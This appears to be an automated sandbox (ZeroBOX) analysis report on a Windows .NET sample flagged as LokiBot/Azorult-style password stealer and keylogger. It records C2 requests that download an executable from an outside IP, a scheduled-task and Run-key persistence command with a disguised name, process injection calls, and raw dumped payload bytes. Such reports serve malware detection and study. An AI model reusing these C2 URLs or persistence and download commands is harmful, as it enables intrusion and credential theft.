popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Bzboosttt.exe

NPKI LokiBot Generic Malware Admin Tool (Sysinternals etc ...) UPX PWS KeyLogger AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 20, 2021, 9:18 a.m. Aug. 20, 2021, 9:25 a.m.
Size 761.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 a055c5bf6726eaf334bb919722f0197d
SHA256 c3fc24261e7c6dd2f0545f8c394089ebd13d32ace2b7f2d62f1d93fe41166df2
CRC32 474C7128
ssdeep 12288:iRDc9F3nC0Py3gAhe/5Ua9FLC1rzsIoLVi7dIcD4jY0:i25jmni072csjY0
Yara
  • PE_Header_Zero - PE File Signature
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • UPX_Zero - UPX packed file
  • IsPE32 - (no description)
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

Name Response Post-Analysis Lookup
sh2585396.b.had.su
A 92.119.113.115
92.119.113.115
IP Address Status Action
164.124.101.2 Active Moloch
45.156.27.166 Active Moloch
92.119.113.115 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "WindowsPowerShell ver5.60" has successfully been created.
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x008713f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x008713f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x008713f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005fa600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005fa600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005fa600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00cc42a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00cc3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00cc3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://sh2585396.b.had.su//cisCheckerstroke.php
suspicious_features GET method with no useragent header suspicious_request GET http://sh2585396.b.had.su//gate.php?hwid=7C6024AD&os=6.1.7601&av=
suspicious_features GET method with no useragent header suspicious_request GET http://sh2585396.b.had.su//loader.txt
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://45.156.27.166/12345.exe
request GET http://sh2585396.b.had.su//cisCheckerstroke.php
request GET http://sh2585396.b.had.su//gate.php?hwid=7C6024AD&os=6.1.7601&av=
request GET http://sh2585396.b.had.su//loader.txt
request GET http://45.156.27.166/12345.exe
domain sh2585396.b.had.su description Soviet Union domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00430000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00560000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72741000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72742000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ba0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00315000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0031b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00317000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0030a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00307000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00306000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6dee2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005b9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002fe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005be000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005bf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ae7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2180
region_size: 1966080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2180
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00940000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2180
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2180
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a2000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13725638656
free_bytes_available: 13725638656
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13003497472
free_bytes_available: 13003497472
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\NMobOU.exe
file C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
cmdline schtasks.exe /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
cmdline "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
file C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\NMobOU.exe
file C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\NMobOU.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: schtasks.exe
parameters: /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
filepath: schtasks.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

recv

 buffer: HTTP/1.1 200 OK Date: Fri, 20 Aug 2021 00:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 19 Aug 2021 21:38:49 GMT ETag: "5b3000-5c9f0606067d8" Accept-Ranges: bytes Content-Length: 5976064 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL9Ïaà &[^E[ `[@  [@… E[O`[ð€[  H.textd%[ &[ `.rsrcð`[([@@.reloc €[.[@B@E[H(tZäÐ^ðõ8~Xg/„V|Kc'ö/‹öKGŠ~0æwÅH(óHPöÉKpBñíI~̘uo5}ãwÉc:ÞÅt¯¨K'öÁÉZ‡n‡ÌÇô¡A“0ýô†üuVR'F“Q¦7Bú:›½['èŒx†ÿº´/¦é¾Ùñ1Z¦”¢W=OÆsæËM·|µ ³“³ §LŸ2[o YۇäèÕx82ŠîBضِÐíQì rNà È£} ËÖ*pôZaݕⱹƒGÜÿ4Dçf¤N»þ%ÛÄ1a”)AåýêùÓО©}eP ÌfÊ;«Æ¨0}dE¨uˆí1nè,Ȋ"$÷¼yŸ”S!ý࢐¹‚:ˆ}&3snôýkÍ@ î EH_›¶+ –XæzY“È~œ€xY¯i{¥ju.0¨>á„Ó*öÐaJo°¬ä0>)RÎi¶ÏÆ âÎÙŒHÛàXÿ58»íÕ1(}5!)aš£¶z.WÖÌ*e>3’bș»hLÏ09È×ûÀ‹jæ‰çnl•<Ho¨½@<Þ)¢À5ϔëÛ_GµàZ.7gÿ€_­aÖýaª½þ·1“‡LñÙuƒ4Ñy,?ʍ§/» ÔÊßñ¯\•íò)€)3T9[;Q=Z‘þP›xí"‘0qÇòÆdˆ|÷ΰœÁ&¶b&hõ5Íûr©åÎ\Òæ'ñ ö‡ ÎCÂÐ[åÌ®àc fÝÑ?fë´<þ#ø6¥ßLۙìÄP°l)ë ž\Ëã@nxd˜œA¶[N&ë °/» Ó[fm#`IùډµyÀq;xN—ÎÇĔ³n±.ÿ—ÿ¢ás|yÝëürë¦ög&…Þç"÷¼AÓgÊwY‰åßã¦D~DcÒ@p(ÓXþ¤ÑŒ=0 ˜),DAªfº£c£Hº¬èMቭ¯ý~‘½*!¯’£V‹ŸBÒ^EþÊ´o»º“ÊÁš¶­ÐêÁ¸¶úl{3‡•ÛQáÏ̟£÷¼š¶+éwwŠªßtá5фj:\dÎ&Á5w9"Én1ÌRìÍ±IJ s¦k¶÷Q¯ù‹Ža®»ÅC3£x_´^µ/픒ø·­EÛJ9Ò E_ññ«x™HUó‹Í6 -ZJôŠo^ÞÕ}ÐÙÊùÿG«ÀÞl’ײò¹w ¥‡ |#Ö5Enj6œ6ÁHV@š’û(ì޵ŗÁéwG¥@¨_ìp ˆƒ¸áYà)²T9>ýì+Šy·º`‘­.RÒÔíê!m&åû¿j¢pÕ4ׅÕÜÍ&¶FYP#ÒÄóó5ádVŸD¿ýeMÀ ä{Ü*\m„P8%­Ž lG½Ûõ‚z2šóbXÃbZØ¥N]s3ʝãtJ8y=ö™§‡Â ŠdjfSnr÷[L³,þuÒQ|ˆ^ƒWÝÆ£\IC\Bu‹íSlõ(èGޞGðqçT*×Öµy殤­BpÅ¥E{@Gà]aƆå}qG¡XÁë,ÇÁÙËó9TòEÖ©¤.äòˆSµn¡›h-:ß3»ƒ7˜q|§duÉîë`£ËguTÓƑzp%é¹ca¦Ö¦^þ©¶ÈLR~*?äð;iüÄA“{ƒoÑÔ9¾Çu îÌ&4Ï "ÛêžTسßqšcÉMü½foVz¬8µBºÌdƒêbiI¥£2c|"2”XìBP G7"D «uÞ ‹Xí‘C­S;Ö2]`‰Õí'-5¦ð¸€1Ð%~ðª)/ð™ðV:µRŸ×2T…1úÎü©€x„KéÏe}Ø•è9¥Ç¿ßæWk€°›ÏWPË`] ëÊ Œ3r;ܒ‚@’·Ì~'5ˆÄÓˆå0¼W¿`Z~i'š¡=wj>…×;1jz_"HŠÙq/;¤{Ï܍mƒqA¥ªìËé±j|Æê‹Léίññ˜‡ýl|ÃŒœaºø´iQUiì¶tPâ!îc–ŠdO0…øÕe÷ÅÛ²Çj¿|¸ çÖvA·$Ӂ²²eØ8õ[¡Úü5ad!¥É5+›.ÖuT½²ÒYÜ=6[Š ˆn{¹ŠRv!Nï… Ü¥™Œ+(Ÿ{‰L­'*™²–·'ÊùžÏ#ÍF_>2BnÄþ„9³¥B'¬“Ïü{2ÈéژðñgI3^D›y¦ |?(¬†¸ä¹ÂS$yú— ßÀ™5Q]ò±@»þ#‹wEø[KÿÉnÀò5dÓ¦µa½T9ª‰®*dß$¼æ蘆7âúy‰h=êÄb¦ý¬¶Ò©W{æN’nPÙQ}všémL—/ì³Ù=J)Q~æg®±EÁqw¾Ä¿•"×B 憗zU t+ù“šÚíO1Âÿܑy[ÜXX䜛uN/±0â¹ÏÙYӎ651Š}ô,p/œ,Ù`d@I±&찝’n®•Õ¹ËòÐ;@OÀœ1$«5êW2®ç„>ò!½ZͳñãH=’Z5<Åêk Ô.ÊRGS¸!™Ìò.åó°sÙpØ$f2&îž­™­w $ý'ûXa,uþ¬ØôÈ©Эé‘ËÕêSÉ ¢?
received: 2920
socket: 1556
1 2920 0
section {u'size_of_data': u'0x000bd200', u'virtual_address': u'0x00002000', u'entropy': 6.984302003235911, u'name': u'.text', u'virtual_size': u'0x000bd1a8'} entropy 6.98430200324 description A section with a high entropy has been found
entropy 0.994740302433 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation.--
description Run a KeyLogger rule KeyLogger
description Communications PWS network rule PWS_CnC_memory_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Run a KeyLogger rule KeyLogger
description Communications PWS network rule PWS_CnC_memory_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline schtasks.exe /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
cmdline C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\NMobOU.exe
cmdline "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
cmdline "C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\NMobOU.exe"
host 45.156.27.166
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2180
region_size: 98304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1036
region_size: 98304
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\nO3b0- reg_value C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe
cmdline schtasks.exe /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
cmdline "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "WindowsPowerShell ver5.60" /tr "'C:\Users\test22\AppData\Local\Microsoft Web Tools ver4.49\MicrosoftWebTools.exe"'/f
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELó×aà"  .3 @ €@…à2K@8`  H.text4  `.rsrc8@@@.reloc `.@B
base_address: 0x00400000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: 0 03
base_address: 0x00416000
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2180
process_handle: 0x00000270
1 1 0

WriteProcessMemory

